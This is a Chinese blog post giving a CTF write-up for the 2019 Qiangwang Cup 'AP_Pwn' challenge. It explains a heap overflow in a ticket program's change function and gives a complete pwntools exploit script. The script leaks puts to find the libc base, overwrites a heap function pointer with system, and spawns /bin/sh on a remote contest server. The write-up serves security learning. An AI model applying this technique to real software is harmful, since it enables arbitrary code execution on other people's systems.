Whali3n51's blog

  • 主页
  • 关于
  • 友链
  • 标签
  • 分类
Writeup

强网杯:强网先锋_AP_Pwn writeup

Whali3n51 发布于 2019-05-31

谈谈强网杯的感受吧,感觉被大佬们上了一课,也让我自己看到自己越来越菜了,这也是我做的第一个pwn题。大佬们说这题可以house of orange解出,对不起,我太菜,根本不会,我还需要多加学习。话不多说,详细的讲一下这个pwn吧。
首先拿到程序,进行一个检查看开了什么保护。

很绝望,全绿,像帽子一样,绿的发慌。但是没办法,因为主办方说这题是送分题,然后开始分析程序。
首先运行程序

显而易见,程序是一个模拟售票的程序,有三个功能。
1. 是卖票
2. 是查询卖票信息
3. 是改变票的信息
程序流程就是这么个简单。
然后我们进IDA看一眼

进到Get函数看一眼。分析它的伪代码
一个函数的意思是首先创建一个结构体,结构体如下:

改结构体的buf是一个指针

这个size是有我们定的,然后这里读进去的数为size-1然后第size位为零。然后就没有其他的什么了。函数很安全,没什么漏洞,关键点是在于他把puts的函数地址放到了堆上。然后就没有其他的情况了。
再去看看open函数

这个函数看起来也很安全,无非就是根据输入的ID输出相应buf所指向的地方。输出的函数使用的时堆上的puts地址。
然后再Change函数

分析程序发现这里有堆溢出。这里的read是将我们输入的值放到我们Get函数的buf所指向的堆上。而且读入的大小是我们自己觉得。这里就出现堆溢出了,当我们读入的大小大于我们Get函数开辟的大小的时候,我们就能实现堆溢出了。
知道了堆溢出,我们现在需要思考我们将这个堆溢出利用在哪里。
我们现在只能想的是,利用堆溢出控制一个指针,然后通过这个指针去实现任意位置的读和写。好了,我们这里有思路了,但是我们还有一点需要思考的是,这一题开了PIE,我们需要通过覆盖got表的情况已经不存在了。所以我们这里还需要思考怎么区利用任意位置读和写,我们前面发现程序将puts的地址放在了堆上面,而且输出的时候,是直接使用的这个地址。好了,现在我们有思路了。我们就需要利用堆溢出来改写结构体中的各个指针的值。
我现在就直接给出exp,关于各个堆块之间的大小需要用到动调,我这里就不演示了,动调之前先进IDA把init函数中的alarm函数给nop掉。关于不懂得可以私信我,我们可以相互交流下。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

from pwn import *

#p=process('./task_main')
p=remote('117.78.48.182',31156)
elf=ELF('./task_main')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"

def get(size,content):
p.recvuntil('Choice >> \n')
p.sendline('1')
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(size))
p.recvline("Give me my owner's name:\n")
p.sendline(content)
def show(index):
p.recvuntil('Choice >> \n')
p.sendline('2')
p.recvuntil('Please tell me which tickets would you want to open?\n')
p.sendline(str(index))

def change(index,size,content):
p.recvuntil('Choice >> \n')
p.sendline('3')
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(index))
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(size))
p.recvuntil("Give me my owner's name:\n")
p.send(content)
#创建堆块
get(0x20,"123456")
get(0x20,"dudududu")

payload=0x28*'a'+p64(0x21)+'\x18' #过pie
change(0,len(payload)+1,payload) #堆溢出改写chunk1的buf指向puts地址

show(1)#泄露puts地址

p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
index=p.recv(6)
puts_addr=u64(index.ljust(8,'\x00')) #得到puts的真实地址,从而得到libc版本
base=puts_addr-libc.symbols['puts'] #得到libc的基址
system_addr=libc.symbols['system']+base #得到system地址
print 'puts:'+hex(puts_addr)
print 'base:'+hex(base)
print 'system_addr:'+hex(system_addr)

#得到chunk0,接下来就是如何去执行system了
#首先泄露出一个chunk的真实地址
payload=0x28*'a'+p64(0x21)+'\x10'
change(0,len(payload)+1,payload)
show(1)
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
index=p.recv(6)
chunk0_addr=u64(index.ljust(8,'\x00'))

#将puts地址变为system_addr
print hex(chunk0_addr)
payload=0x28*'a'+p64(0x21)+p64(chunk0_addr)+p64(system_addr)
change(0,len(payload)+1,payload)

#传入/bin/sh
payload="/bin/sh\x00"
change(0,len(payload)+1,payload)
#执行system
show(1)


p.interactive()
  • #修改指针
Newer

Unsorted bin attack

Older

桂电RE全解WriteUp

© 2023 Whali3n51